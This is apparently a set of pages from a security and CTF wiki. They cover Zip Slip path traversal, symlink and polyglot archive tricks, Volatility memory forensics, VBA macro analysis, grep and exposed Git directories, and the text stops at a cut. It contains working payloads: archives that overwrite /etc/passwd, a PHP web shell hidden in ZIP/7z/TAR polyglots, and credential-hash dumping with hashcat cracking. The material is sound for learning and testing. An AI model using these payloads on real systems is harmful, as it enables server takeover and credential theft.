When creating your own archives that some **target processes**, you can include malicious filenames like `../../../../etc/passwd` to **overwrite**/**create** local files in outside directories. This functionality can exist if an application has an import functionality or automatically extracts archives you upload.

{% hint style="success" %}
While the most common format is ZIP, this vulnerability exists in many more archive types. Like `.tar`, `.jar`, `.war`, `.cpio`, `.apk`, `.rar` or `.7z`
{% endhint %}

Filenames in zip files can be folders because a ZIP file may contain folders, but the unexpected functionality is that they may even be `../` filenames, there is no limit. Most popular archive extract functions (from libraries) are safe from this by explicitly normalizing or forbidding these paths, but custom implementations could very well be vulnerable:

<pre class="language-java" data-title="Java"><code class="lang-java">Enumeration&#x3C;ZipEntry> entries = zip.getEntries();
<strong>while (entries.hasMoreElements()) { 
</strong>    ZipEntry e = entries.nextElement(); 
<strong>    File f = new File(destinationDir, e.getName()); 
</strong>    InputStream input = zip.getInputStream(e); 6 IOUtils.copy(input, write(f)); 
}
</code></pre>

The main *pattern* to look out for is:

1. Looping through the elements
2. Concatenating the target directory with the filename directly

To test for and exploit such a vulnerability, simply create a file entry with a custom name:

<pre class="language-python" data-title="Python (ZIP)"><code class="lang-python">import zipfile  # ZIP

with zipfile.ZipFile("payload.zip", "w") as zip:
    #          source            name
<strong>    zip.write("passwd", "../../../../etc/passwd")
</strong></code></pre>

<pre class="language-python" data-title="Python (TAR)"><code class="lang-python">import tarfile

with tarfile.TarFile("zipslip.tar", "w") as tar:
<strong>    tar.add("passwd", "../../../../etc/passwd")
</strong></code></pre>

The above example will create a ZIP file `payload.zip`, that when extracted by vulnerable, will try to overwrite `/etc/passwd` with the content you choose. This can be useful if `root` executes it for a Privilege Escalation scenario, but more commonly you'll want to get initial access by **overwriting executable files** like PHP shells, templates, dotfiles, or `~/.ssh/authorized_keys` if SSH is enabled (see [Arbitrary File Write](/web/server-side/arbitrary-file-write) for more details).

### Symlinks

Aside from directory traversal in filenames like shown above, most formats can even include **symbolic links** that point to another path. When extracted, most libraries or commands will correctly recognize and create symlinks while extracting, but these special files can have weird side effects.

Processes afterward might read/write to this file but accidentally **follow the symlink** we created while doing so. This can result in arbitrary file read/write with multiple steps.

{% hint style="info" %}
**Tip**: You can even include *multiple* file entries with *the same name*, allowing for even more complex attacks. [See here](https://packetstormsecurity.com/files/24031/tar-symlink.txt.html) for an example that writes a symlink, and then overwrites its contents from within the same TAR file
{% endhint %}

#### ZIP

When using `zip` to include a symlink you made, it will by default **follow the symlink** and include the content of the file it is pointing to. This may be useful for [Linux Privilege Escalation](/linux/linux-privilege-escalation) when an application zips a symlink you make locally, but in a scenario where it only *extracts* the file, you should keep the symlink intact inside the ZIP file using the `--symlinks` option:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ ln -s /etc/passwd link        # Create symlink locally
</strong><strong>$ zip --symlinks payload.zip *  # Add to new archive
</strong>$ unzip -p link.zip link        # View to confirm symlink was added
/etc/passwd
$ 7z l -ba -slt link.zip        # type=l meaning symlink
...
Attributes = _ lrwxrwxrwx
</code></pre>

#### TAR

By default, the `tar` command will allow storing and extracting symlinks:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ ln -s /etc/passwd link  # Create symlink locally
</strong><strong>$ tar -cvf payload.tar *  # Add to new archive
</strong>$ tar -tvf payload.tar    # View to confirm symlink was added
lrwxrwxrwx user/user     0 2023-00-00 00:00 link -> /etc/passwd
</code></pre>

## Polyglots

A "polyglot" is defined in English as a person who speaks multiple languages. When talking about file formats, this means a *file that can be interpreted in multiple ways*. These are useful for various reasons, mainly confusing parsers. A check might use one parser, but when using the file it will be parsed differently bypassing the check.

Archive files have a few interesting properties of flexibility that make it fairly straightforward to create one file that extracts in two different ways depending on the tool used to inspect/extract it.

To understand why tricks work and to **come up with your own**, look at the [@corkami/pics](https://github.com/corkami/pics/tree/master/binary) repository which has simple but useful images for many file formats, including archives.

### ZIP file extracting as 7z

When some code tries to validate a ZIP file before extracting it, there is a high chance you can confuse it somehow to have the *check* parse it differently than the *extraction*. One such example is using [ZIP](https://github.com/corkami/pics/blob/master/binary/ZIP.png) files combined with [7z](https://github.com/corkami/pics/blob/master/binary/7zip.png). This is possible because **a ZIP file is parsed from the end**, while a .7z file is parsed from the start recognized by its magic bytes!

A useful tool that can help us with this is [`truepolyglot`](https://github.com/ansemjo/truepolyglot) which has a `zipany` mode that can prefix a ZIP file with any content, and fix the offsets so it unzips without any errors. When we prefix a regular ZIP file with a 7z file, it will result in a special polyglot file that is a valid ZIP with some content, but `7z x` extracts it with the .7z's content. This confusion may bypass some checks.

<pre class="language-shellscript"><code class="lang-shellscript">$ echo dummy > file.txt
<strong>$ zip file.zip file.txt  # Prepare ZIP (carrier)
</strong>
$ echo '&#x3C;?php system($_GET["cmd"]) ?>' > shell.php
<strong>$ 7z a shell.7z shell.php  # Prepare 7z (payload)
</strong>
# # Combine into polyglot file
<strong>$ truepolyglot zipany --payload1file shell.7z --zipfile file.zip polyglot.zip
</strong></code></pre>

This created a `polyglot.zip` file which has the properties described above, confusing ZIP parsers thinking it is an innocent file, but has different contents when extracting using `7z x`:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ unzip -l polyglot.zip  # Shows only file.txt
</strong>  Length      Date    Time    Name
---------  ---------- -----   ----
        8  2023-10-18 20:52   file.txt
---------                     -------
        8                     1 file
<strong>$ 7z x polyglot.zip  # Only warnings, no errors
</strong>
WARNINGS:
There are data after the end of archive

WARNING:
polyglot.zip
Can not open the file as [zip] archive
The file is open as [7z] archive
...

Everything is Ok

Warnings: 1
Size:       30
Compressed: 328
<strong>$ ls -l  # Writes shell.php instead
</strong>-rw-r--r-- 1 j0r1an j0r1an 10414 Oct 18 21:04 polyglot.zip
-rw-r--r-- 1 j0r1an j0r1an    15 Oct 18 21:00 shell.php
</code></pre>

### ZIP magic bytes as TAR

In the previous trick, we learned that [ZIP](https://github.com/corkami/pics/blob/master/binary/ZIP.png) gets parsed from the end of the file. This can bypass most parsers and doesn't require the *first* bytes to be the magic bytes in the file. In specific cases, however, this might not be enough, and you do need control over the start of the file to set the ZIP magic bytes for example. Then the trick above wouldn't work because the .7z format has its own.

To solve this, [TAR ](https://github.com/corkami/pics/blob/master/binary/TAR.png)can be used which does not require magic bytes at the start of the file like ZIP. When you try to create a raw `.tar` file using `tar -cf`, you may notice that it immediately starts with the filename you added:

<pre class="language-shellscript"><code class="lang-shellscript">$ touch ABCDEFGH
<strong>$ tar -cf test.tar ABCDEFGH
</strong><strong>$ hd test.tar 
</strong>00000000  41 42 43 44 45 46 47 48  00 00 00 00 00 00 00 00  |ABCDEFGH........|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
...
</code></pre>

This can be abused to overwrite this filename with the ZIP magic bytes, which will happily be parsed as a filename. By overwriting these bytes, we bypass the magic bytes at the start of the file, and during extraction, the rest of the files in the TAR will be extracted.

<pre class="language-shellscript"><code class="lang-shellscript">$ echo 'dummy' > file.txt
$ zip file.zip file.txt  # Prepare ZIP (carrier)

$ echo '&#x3C;?php system($_GET["cmd"]) ?>' > shell.php
$ touch $'PK\x03\x04'
<strong>$ tar -cf shell.tar $'PK\x03\x04' shell.php  # Prepare TAR (payload)
</strong>
# # Combine into polyglot file
<strong>$ truepolyglot zipany --payload1file shell.tar --zipfile file.zip polyglot.zip
</strong></code></pre>

The `shell.tar` file will have the correct magic bytes already, which are kept after the `truepolyglot` in the final `polyglot.zip` file. This will have ZIP magic bytes, be a valid parsable ZIP file, and at the same time be recognized as TAR by `7z`. See the following demo:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ head -c 4 polyglot.zip | hd  # Correct magic bytes
</strong>00000000  50 4b 03 04           |PK..|
00000004
<strong>$ unzip -l polyglot.zip  # Shows only file.txt
</strong>  Length      Date    Time    Name
---------  ---------- -----   ----
        8  2023-10-18 20:52   file.txt
---------                     -------
        8                     1 file
<strong>$ 7z x polyglot.zip  # Only warnings, no errors
</strong>
WARNINGS:
There are data after the end of archive

WARNING:
polyglot.zip
Can not open the file as [zip] archive
The file is open as [tar] archive
...
Everything is Ok

Warnings: 1
Size:       15
Compressed: 10414
<strong>$ ls -l  # Writes shell.php instead
</strong>-rw-r--r-- 1 j0r1an j0r1an 10414 Oct 18 21:04 polyglot.zip
-rw-r--r-- 1 j0r1an j0r1an    15 Oct 18 21:00 shell.php
</code></pre>


# Memory Dumps (Volatility)

Big dump of the RAM on a system. Use tools like volatility to analyze the dumps and get information about what happened

When you get a big file (>1 GB) and its `file` type is just `data`, you might have your hands on a memory dump.

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ du -h file.dmp
</strong>1.0G    file.dmp
<strong>$ file file.dmp
</strong>file.dmp: data
</code></pre>

You can often find a lot of interesting strings with the `strings` tool, but there are often way too many strings to find anything useful. That's why we use tools like [#volatility](#volatility "mention") to analyze the data in these dumps and find interesting information like open processes, caches, and much more.

You can find an example challenge where the goal was to find 3 pieces of information about some malware that had run in the memory dump:

{% embed url="<https://jorianwoltjer.com/blog/p/ctf/cyber-santa-is-coming-to-town-2021/honeypot>" %}
Writeup of a Forensics challenge where you had to analyze a memory dump
{% endembed %}

## Volatility

There are 2 versions of volatility. The first is the original [volatility](https://github.com/volatilityfoundation/volatility) which is made for Python 2. In the rest of this page, I'll refer to it as **volatility2**. The second version is [volatility3](https://github.com/volatilityfoundation/volatility3), made for Python 3. It is an improved version of the original, but some features/modules are missing. That's why you often work with both tools combined.

You should clone both Github repositories and then run the `vol.py` Python files to use the tools.

{% tabs %}
{% tab title="volatility2" %}

```shell
git clone https://github.com/volatilityfoundation/volatility.git
cd volatility
python2 setup.py install
python2 vol.py —h
```

{% endtab %}

{% tab title="volatility3" %}

```shell
git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3
python3 setup.py install
```

{% endtab %}
{% endtabs %}

Both tools have a detailed help page with `-h` that shows all the available modules, and what they do. This page will also cover a few of the most important ones.

{% hint style="info" %}
**Tip**: You can create a **symlink** to the vol.py script to easily access the tools from any directory with the `vol2` and `vol3` commands:

```shell
sudo ln -s /path/to/volatility/vol.py /bin/vol2
sudo ln -s /path/to/volatility3/vol.py /bin/vol3
```

{% endhint %}

### Finding the Profile (2 only)

Volatility2 needs a **profile** to do its scans. This just tells the tool what operating system and version the dump was made in, so it can change the way it searches based on that. To find this profile there is a simple `imageinfo` module that analyzes the dump and tells what profile it thinks you should use.

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ vol2 -f file.dmp imageinfo
</strong>Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                              ...
           Image date and time : 2021-11-25 19:14:12 UTC+0000
     Image local date and time : 2021-11-25 11:14:12 -0800
</code></pre>

If it can find a profile, it will show after `Suggested Profile(s)`, and you need to use one of these in all future commands using the `--profile` argument.

{% hint style="info" %}
**Note**: You can also use the **`kdbgscan`** module instead of the `imageinfo` module. This module is useful for the `--kdbg` argument that can help some modules function better. It finds KDBG address instead of just a profile, giving even more information to the modules. If you're having trouble with a module like `pslist` you can try running this scan and adding the argument (see [this post](https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/#7edb))
{% endhint %}

### Extra Profiles

By default both volatility Github repositories **only** contain **Windows** profiles. But you might get a memory dump from some Linux or Mac system. Luckily there are extra profiles you can download for these operating systems. Download the profiles below for volatility2 or 3:

{% tabs %}
{% tab title="volatility2" %}
{% embed url="<https://github.com/volatilityfoundation/profiles>" %}
Github repository containing Linux and Mac profiles for volatility2
{% endembed %}

The Linux profiles need to be placed into the `volatility/plugins/overlays/linux` source directory, and the Mac profiles to `volatility/plugins/overlays/mac`.

{% hint style="warning" %}
Do **not** copy all the ZIP files into these directories. It will try to load every single one and make volatility extremely slow. They suggest making educated guesses about what operating system the dump could have come from, and then only importing that individual ZIP file.
{% endhint %}
{% endtab %}

{% tab title="volatility3" %}
{% embed url="<https://downloads.volatilityfoundation.org/volatility3/symbols/linux.zip>" %}
ZIP archive containing Linux profiles for volatility3
{% endembed %}

{% embed url="<https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip>" %}
ZIP archive containing Mac profiles for volatility3
{% endembed %}

Then unzip these into the `volatility3/volatility3/symbols` source directory which should already have a `windows` folder. Then it will automatically use these symbols when running a module.
{% endtab %}
{% endtabs %}

## Modules

### Processes

A good quick thing to do is to look at the running processes. From there you can often spot something suspicious to investigate further.

{% tabs %}
{% tab title="volatility2" %}

```shell
vol2 -f file.dmp --profile=PROFILE pslist  # Process list
vol2 -f file.dmp --profile=PROFILE pstree  # Process tree
vol2 -f file.dmp --profile=PROFILE psscan  # Process list (slower, but more thorough)
```

{% endtab %}

{% tab title="volatility3" %}

```shell
vol3 -f file.dmp windows.pslist.PsList  # Process list
vol3 -f file.dmp windows.pstree.PsTree  # Process tree
vol3 -f file.dmp windows.psscan.PsScan  # Process list (slower, but more thorough)
```

{% endtab %}
{% endtabs %}

### Dump process

If you find a process that you haven't seen before or looks custom, you can extract the executable from memory and analyze it further as a file. Just provide the `--pid` you find in the process list and dump it into the current directory:

{% tabs %}
{% tab title="volatility2" %}

```bash
vol2 -f file.dmp --profile=PROFILE procdump --pid <pid> --dump-dir=procdump  # Dump .exe from process to current directory
```

{% endtab %}

{% tab title="volatility3" %}

```bash
vol3 -f file.dmp windows.dumpfiles.DumpFiles --pid <pid>  # Dump .exe from process to current directory
```

{% endtab %}
{% endtabs %}

### Command-line

If you found any `cmd.exe` or `powershell.exe` processes, it might be worth checking what arguments they have to see what they are executing:

{% tabs %}
{% tab title="volatility2" %}

```shell
vol2 -f file.dmp --profile=PROFILE cmdline  # Command-line (arguments) for process es
vol2 -f file.dmp --profile=PROFILE consoles  # Command history
```

{% endtab %}

{% tab title="volatility3" %}

```shell
python3 vol.py -f file.dmp windows.cmdline.CmdLine  # Command-line (arguments) for process es
```

{% endtab %}
{% endtabs %}

You might see a PowerShell process with the `-EncodedCommand` or `/e` argument, and a big random string. This is actually a Base64 and UTF16 encoded command that is executed in PowerShell, and you can use a [CyberChef recipe](https://gchq.github.io/CyberChef/#recipe=From_Base64\('A-Za-z0-9%2B/%3D',true,false\)Decode_text\('UTF-16LE%20\(1200\)'\)Syntax_highlighter\('powershell'\)\&input=YVFCbEFIZ0FJQUFvQUNnQWJnQmxBSGNBTFFCdkFHSUFhZ0JsQUdNQWRBQWdBRzRBWlFCMEFDNEFkd0JsQUdJQVl3QnNBR2tBWlFCdUFIUUFLUUF1QUdRQWJ3QjNBRzRBYkFCdkFHRUFaQUJ6QUhRQWNnQnBBRzRBWndBb0FDY0FhQUIwQUhRQWNBQnpBRG9BTHdBdkFIY0FhUUJ1QUdRQWJ3QjNBSE1BYkFCcEFIWUFaUUIxQUhBQVpBQmhBSFFBWlFCeUFDNEFZd0J2QUcwQUx3QjFBSEFBWkFCaEFIUUFaUUF1QUhBQWN3QXhBQ2NBS1FBcEFBPT0) for example to decode the command.

### Environment variables

Environment variables sometimes contain secrets or other interesting information, so generally, it's a good idea to look at them. It will give a lot of results for all processes though, so you can filter them to a single process by providing a `--pid`.

{% tabs %}
{% tab title="volatility2" %}

```shell
vol2 -f file.dmp --profile=PROFILE envars [--pid <pid>]  # Environment variables from process
vol2 -f file.dmp --profile=LINUX_PROFILE linux_psenv [-p <pid>]  # Linux: Environment variables from process
```

{% endtab %}

{% tab title="volatility3" %}

```shell
vol3 -f file.dmp windows.envars.Envars [--pid <pid>]  # Environment variables from process
```

{% endtab %}
{% endtabs %}

### Network

Very often programs and malware need to communicate with some remote endpoint, and these network connections can also appear in the memory dump:

{% tabs %}
{% tab title="volatility2" %}

```shell
vol2 -f file.dmp --profile=PROFILE netscan  # Get active network connections
vol2 -f file.dmp --profile=PROFILE connections  # XP and 2003 only
vol2 -f file.dmp --profile=PROFILE connscan  # TCP connections 
vol2 -f file.dmp --profile=PROFILE sockscan  # Open sockets
vol2 -f file.dmp --profile=PROFILE sockets  # Scanner for tcp socket objects

vol2 -f file.dmp --profile=LINUX_PROFILE linux_ifconfig
vol2 -f file.dmp --profile=LINUX_PROFILE linux_netstat
vol2 -f file.dmp --profile=LINUX_PROFILE linux_netfilter
vol2 -f file.dmp --profile=LINUX_PROFILE linux_arp  # ARP table
vol2 -f file.dmp --profile=LINUX_PROFILE linux_list_raw  # Processes using promiscuous raw sockets (between processes)
vol2 -f file.dmp --profile=LINUX_PROFILE linux_route_cache
```

{% endtab %}

{% tab title="volatility3" %}

```shell
vol3 -f file.dmp windows.netscan.NetScan  # Get active network connections
```

{% endtab %}
{% endtabs %}

### Registry

The Windows registry is a big list of keys and values. Some programs or malware use it to store settings/data that might be interesting to look at. You can extract the registry hives and specific keys from a memory dump:

{% tabs %}
{% tab title="volatility2" %}

```shell
vol2 -f file.dmp --profile=PROFILE hivelist  # List roots
vol2 -f file.dmp --profile=PROFILE printkey  # List roots and get initial subkeys
vol2 -f file.dmp --profile=PROFILE printkey -K "Software\Microsoft\Windows NT\CurrentVersion"  # Get value from key
vol2 -f file.dmp --profile=PROFILE hivedump  # Dump full hive
```

{% endtab %}

{% tab title="volatility3" %}

```shell
vol3 -f file.dmp windows.registry.printkey.PrintKey  # List roots and get initial subkeys
vol3 -f file.dmp windows.registry.printkey.PrintKey --key "Software\Microsoft\Windows NT\CurrentVersion"  # Get value from key
```

{% endtab %}
{% endtabs %}

{% hint style="info" %}
**Tip**: Use the `-o` argument in any of these commands to get the information from a specific hive from `hivelist`. It needs the **virtual address** of the hive like `-o 0x9aad6148`. Otherwise, it will use all hives
{% endhint %}

### Filesystem

Files often contain lots of information, especially on Linux where everything is a file. Memory dumps may contain interesting files that you can extract and take a look at. The idea is that you first list files to find interesting ones, and then extract some specific ones you find.

{% tabs %}
{% tab title="volatility2" %}

```shell
vol2 -f file.dmp --profile=PROFILE filescan  # All files
vol2 -f file.dmp --profile=PROFILE dumpfiles -n --dump-dir=dumpfiles  # Dump all files
vol2 -f file.dmp --profile=PROFILE dumpfiles -n --dump-dir=dumpfiles -Q <0xPHYSOFFSET>  # Dump file at specific physical address

vol2 -f file.dmp --profile=LINUX_PROFILE linux_enumerate_files  # All files
vol2 -f file.dmp --profile=LINUX_PROFILE linux_find_file -F /path/to/file  # Find inode number of specific fike
vol2 -f file.dmp --profile=LINUX_PROFILE linux_find_file -i <0xINODENUMBER> -O /path/to/dump/file  # Dump specific file
```

{% endtab %}

{% tab title="volatility3" %}

```shell
vol3 -f file.dmp windows.filescan.FileScan  # Any files
vol3 -f file.dmp windows.dumpfiles.DumpFiles --physaddr <0xAAAAA>  # Offset from previous command
```

{% endtab %}
{% endtabs %}

### Miscellaneous

There are some specific things you can take a look at in-memory dumps that don't fit into a specific category. Here are some of them:

#### Internet Explorer history

{% tabs %}
{% tab title="volatility2" %}

```shell
vol2 -f file.dmp --profile=PROFILE iehistory  # Internet Explorer history
```

{% endtab %}
{% endtabs %}

#### Clipboard

{% tabs %}
{% tab title="volatility2" %}

```shell
vol2 -f file.dmp --profile=PROFILE clipboard  # Get clipboard data
```

{% endtab %}
{% endtabs %}

#### Notepad content

{% tabs %}
{% tab title="volatility2" %}

```shell
vol2 -f file.dmp --profile=PROFILE notepad  # List currently displayed notepad text
```

{% endtab %}
{% endtabs %}

#### Screenshot

Surprisingly enough, you can even generate a screenshot of the system from only a memory dump. It can help give an idea of what applications are running in the foreground, and quite literally give a clearer picture of the system.

{% tabs %}
{% tab title="volatility2" %}

```shell
vol2 -f file.dmp --profile=PROFILE screenshot --dump-dir=screenshot  # Dump a few screenshots
```

#### Example:

![Example desktop showing a single window and a taskbar](/files/haMH3pN7G5PeDyRdXxNO)
{% endtab %}
{% endtabs %}

#### Bash history

In Linux, it's possible to read the `.bash_history` file, but often this is disabled. With this module you can still recover the bash history from memory:

{% tabs %}
{% tab title="volatility2" %}

```shell
vol2 -f file.dmp --profile=PROFILE linux_bash  # Bash history
```

{% endtab %}

{% tab title="volatility3" %}

```shell
vol3   -f file.dmp linux.bash.Bash  # Bash history
```

{% endtab %}
{% endtabs %}

#### Dump certificates / SSL keys

{% tabs %}
{% tab title="volatility2" %}

```shell
# Interesting options for this module are: --pid, --name, --ssl
vol2 -f file.dmp --profile=PROFILE dumpcerts --dump-dir=dumpcerts  # Dump certificates
```

{% endtab %}

{% tab title="volatility3" %}

```shell
vol3 -f file.dmp windows.registry.certificates.Certificates  # Dump certificates   
```

{% endtab %}
{% endtabs %}

## Hashes

Similarly to a tool like Mimikatz, volatility can extract hashes and passwords from the memory dump:

{% tabs %}
{% tab title="volatility2" %}

```shell
vol2 -f file.dmp --profile=PROFILE hashdump  # Common windows hashes (SAM+SYSTEM)
vol2 -f file.dmp --profile=PROFILE cachedump  # Domain cache hashes
vol2 -f file.dmp --profile=PROFILE lsadump  # LSA Secrets
```

{% endtab %}

{% tab title="volatility3" %}

```shell
vol3 -f file.dmp windows.hashdump.Hashdump  # Common windows hashes (SAM+SYSTEM)
vol3 -f file.dmp windows.cachedump.Cachedump  # Domain cache hashes
vol3 -f file.dmp windows.lsadump.Lsadump  # LSA Secrets
```

{% endtab %}
{% endtabs %}

Then after you get these hashes, you might be able to do some Pass-The-Hash attack or crack the password (see [Cracking Hashes](/cryptography/hashing/cracking-hashes)). Hashes you get from `hashdump` are NTLM hashes, where the 4th column is the actual hash. You can get the hashes formatted in a file like this:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ cat hashdump.txt  # From volatility hashdump module
</strong>Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
<strong>$ cat hashdump.txt | awk -F: '{print $4}' > hashes.txt  # Only 4th column
</strong><strong>$ hashcat -m 1000 hashes.txt wordlist.txt
</strong>fc525c9683e8fe067095ba2ddc971889:Passw0rd!
</code></pre>


# VBA Macros

Visual Basic for Applications is a programming language used to create macro scripts for Microsoft office apps

VBA Macros are often used for malware as they provide an easy way to execute code by only opening a seemingly harmless Word/Excel document. Not all documents are macro-enabled, only the following are ([source](https://en.wikipedia.org/wiki/List_of_Microsoft_Office_filename_extensions)):

* `.docm`: Word macro-enabled document
* `.dotm`: Word macro-enabled template
* `.xlm`: Legacy Excel macro
* `.xlsm`: Excel macro-enabled workbook
* `.xltm`: Excel macro-enabled template
* `.xla`: Excel add-in that can contain macros
* `.xlam`: Excel macro-enabled add-in
* `.ppam`: PowerPoint 2007 add-in with macros enabled
* `.pptm`: PowerPoint macro-enabled presentation
* `.potm`: PowerPoint macro-enabled template
* `.ppsm`: PowerPoint macro-enabled slideshow
* `.sldm`: PowerPoint macro-enabled slide

## OleVBA

[OleVBA](https://github.com/decalage2/oletools/wiki/olevba) is a tool to detect and analyze VBA Macros. It can find suspicious pieces of code and decode strings to allow you to reverse engineer what the code is doing.

You can get the source code of a macro-enabled document using the following command:

```shell-session
olevba document.docm
```

This will output a few different things. It will show the VBA code of all the macro files inside, and an analysis of suspicious strings and things like `AutoExec` that can activate macros when you open the document. This source code is what you'll most likely want to be looking at, but often it is very obfuscated as malware detection is getting better and better.

### Deobfuscating

The `--reveal` option can decode a few encodings to make the code more readable in some cases:

```shell-session
olevba invitation.docm --reveal > reveal.txt  # Decode using olevba
sed -i -E "s/b'([^'\\\\]*(\\\\.[^'\\\\]*)*)'/\1/g" reveal.txt  # Replace b'' strings in output
```

For the rest, it's mostly a process of putting the code in a file, and analyzing it by hand with a nice code editor

{% hint style="info" %}
**Tip:** Use the [XVBA VSCode extension](https://marketplace.visualstudio.com/items?itemName=local-smart.excel-live-server) to easily navigate and highlight the code
{% endhint %}

A few pieces of syntax you'll likely come across are the following:

* `Sub main() ... End Sub`: This is a Subroutine, basically a function that is meant to be run by the user. Often these kinds of functions are what trigger the rest, so this is a good place to start
* `Function do_something(arg1 As String) As String ... End Function`: Obviously, this is a function, but it's also important to notice the `As String` types. This shows the types of the argument and the function return type. A value is returned from a function by setting a variable in the function to the name of the function, so this function could **return** using `do_something = ...` in the function body.
* `Dim some_var As String`: Define a variable with a type

### Dynamic analysis

It might be quite some work to manually evaluate the code in your head while reading it, so another option is to just run some smaller pieces of code while logging various outputs. This can save a lot of time, when some larger malicious code is built from string operations for example. It would be really easy to just run the code that builds the malicious code and then analyze that further.

You can make a simple macro to run by opening a blank document in **Word**, going to the **Developer** tab (if you don't see this [try enabling it here](https://support.microsoft.com/en-us/office/show-the-developer-tab-in-word-e356706f-1891-4bb8-8d72-f57a51146792)), and choosing **Visual Basic**. From there you can **Insert** -> **Module** and a window should pop up for you to write code in. You should start with a `Sub` where you can write your code, and when you want to try running the code press the green ![](/files/zcTh0U4AD1jFIhx5Bx7H) button or just press F5.

Here's a simple example that should pop up some text:

```vba
Sub main()
    MsgBox "Hello, world!"
End Sub
```

Often you'll want to use this to see the return values of functions, so one simple way is to just call a function, and save the result to a file, as VBA does not have a simple console to log things in. The code would look something like this:

```vba
Sub main()
    Dim result As String
    result = mystery()
    Open "result.txt" For Output As #1
    Print #1, result
    Close #1
End Sub

Function mystery() As String
    mystery = "this is returned"
End Function
```

When saving a file like this, you need to have saved the document you're working on somewhere. Then all paths in the macros will be relative to that saved file, so you should find `result.txt` next to the saved document.

When saving the file you need to explicitly say it is a document with macros enabled, or else it won't save the macros with the document. Do this simply by selecting **Word Macro-Enabled Document (\*.docm)** in **Save as type**.

Afterward, you should be able to quickly run your macro with F5 and check the output in `result.txt`.


# Grep

Search for text inside of files

## Description

Grep is a really useful tool for quickly finding what you're looking for. If you know a file somewhere has some content, or just want to find all files with a certain pattern in them, Grep is the perfect tool for the job. It's written in C and highly optimized, meaning you can quickly search through lots of files.

```shell-session
grep [OPTIONS...] PATTERNS [FILES...]
```

* `OPTIONS` can be any flags to change the way the search works, or matches are displayed
* `PATTERNS` are a string containing one or more patterns to search for, separated by newline characters (`\n`). To put a newline character in an argument you can use the `$'first\nsecond'` syntax
* `FILES` are the files to search through for the `PATTERNS`. If not specified, it will read from standard input (piping into grep). If in recursive mode with -r, it will default to the current directory but can be any directory

<pre class="language-shellscript" data-title="Simple example"><code class="lang-shellscript"><strong>$ grep something file.txt
</strong>And here is something.
</code></pre>

{% hint style="info" %}
See all documentation about the options with `man grep`
{% endhint %}

### Options

The are a few common and really useful options to know in Grep:

* `-r`: **R**ecursively search a directory (default: current)
* `-v`: In**v**ert search, matching lines where no match
* `-i`: Search case-**i**nsensitive (uppercase/lowercase doesn't matter)
* `-n`: Print the line **n**umber of the match in the file
* `-o`: **O**nly output match (no text around)
* `-a`: Show **a**ll matches (also binary files)
* `-b`: Show **b**yte-offset of matches
* `-l`: **L**ist files that match instead of showing the match
* Simple [Regular Expressions (RegEx)](/languages/regular-expressions-regex) are enabled by default in `PATTERNS`
  * `-F`: Treat `PATTERNS` as **f**ixed strings, not regular expressions
  * `-P`: Use **p**erl-compatible regular expressions (PCRE) including all advanced RegEx features

Some options are also available by using `egrep` (`-E`), `fgrep` (`-F`) and `rgrep` (`-r`) to quickly set the options without having to add the flag.

{% code title="Examples" %}

```shell-session
# # Select files and output
$ grep -r "something"  # Search recursively in current directory for "something"
$ grep -v "something" file.txt  # Find all lines in file that don't match "something"
$ grep "something" *.txt  # Search "something" in all .txt files (current directory only)
$ grep -r "something" --include "*.txt"  # Recursively search "something" in .txt files
$ grep -ab "something" file.bin  # Show all (binary) matches and byte-offset
$ grep -r -l "something"  # List filenames that match "something" recursively
$ grep -B2 -A5 "something" file.txt  # Show 2 lines before, and 5 lines after match

# # Patterns
$ grep -r -i "something"  # Search case-insensitively for "something"
$ grep "CTF{.*}" file.txt  # Search for flag format in file
$ grep -P "\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67" file.txt  # Search for hex bytes in file
$ xxd -p file.txt | grep "aabbccdd"  # Search for hex bytes using xxd
$ grep $'first\nsecond' file.txt  # Search for multiple patterns in one file
```

{% endcode %}

{% hint style="info" %}
**Tip**: Also check out [`ripgrep`](https://github.com/BurntSushi/ripgrep) for a Rust implementation of most `grep` features, with better defaults for recursive searching while skipping unnecessary files
{% endhint %}


# Git

A version control system often saving lots of information about how files were changes

## Description

Git is a version control system that allows you to save the state of files. It is often used with source code and published on [Github](https://github.com/). There are a few keywords that Git uses you need to know to understand the terminology:

* **Repositories**: The entirety of your git system, with the files, history, and information. Can be created using `git init`
* **Commits**: "Save states" of the files in your repository. Whenever you change something and you are happy with the change, you can commit it so it's saved as a snapshot that you can later go back to. Can be created using `git commit -m "message"`
* **Branches**: Parallel to your main repository, branches are sidesteps to slowly work on a new feature for example, and then later in time **merge** it into the main branch. Can be created using `git checkout -b newfeature`

All the information about your Git repository gets saved in a `.git` directory that is at the root of your repository. The `git` command interacts with this directory and lots of tools can get information from it. So if you ever find a `.git` directory you'll know the current directory is a Git repository.

To find everything in a repository without having to think of every command, you can use a tool like [GitKraken](https://www.gitkraken.com/) to explore the repository visually. Just open the directory in that tool and you can see a timeline of what commits and branches were made.

## Finding Git on websites

In some cases, you'll find that the website you're testing uses Git by finding a `.git` directory. Normally this should be hidden by a 403 Forbidden for example, but this is not always the case. Sometimes you can see a list of files, or you can directly access `.git/HEAD` instead.

### Web - Directory Listing

When you visit the `.git` directory on the website, and you can see a list of files relating to git, you know that directory listing is on. This makes it really easy to download everything at once recursively and then examine the repository on your own machine.

```shellscript
wget -r http://example.com/.git
```

#### Git-dumper

When a website disables directory listing, but the `.git` directory can still be found with something like `.git/HEAD`, you might be able to use [git-dumper](https://github.com/arthaud/git-dumper) on it to extract all the files without having the need for directory listing. This tool understands the Git file structure and can find all the related files:

{% embed url="<https://github.com/arthaud/git-dumper>" %}
A tool to dump a git repository to your local machine, without needing directory listing
{% endembed %}

```shellscript
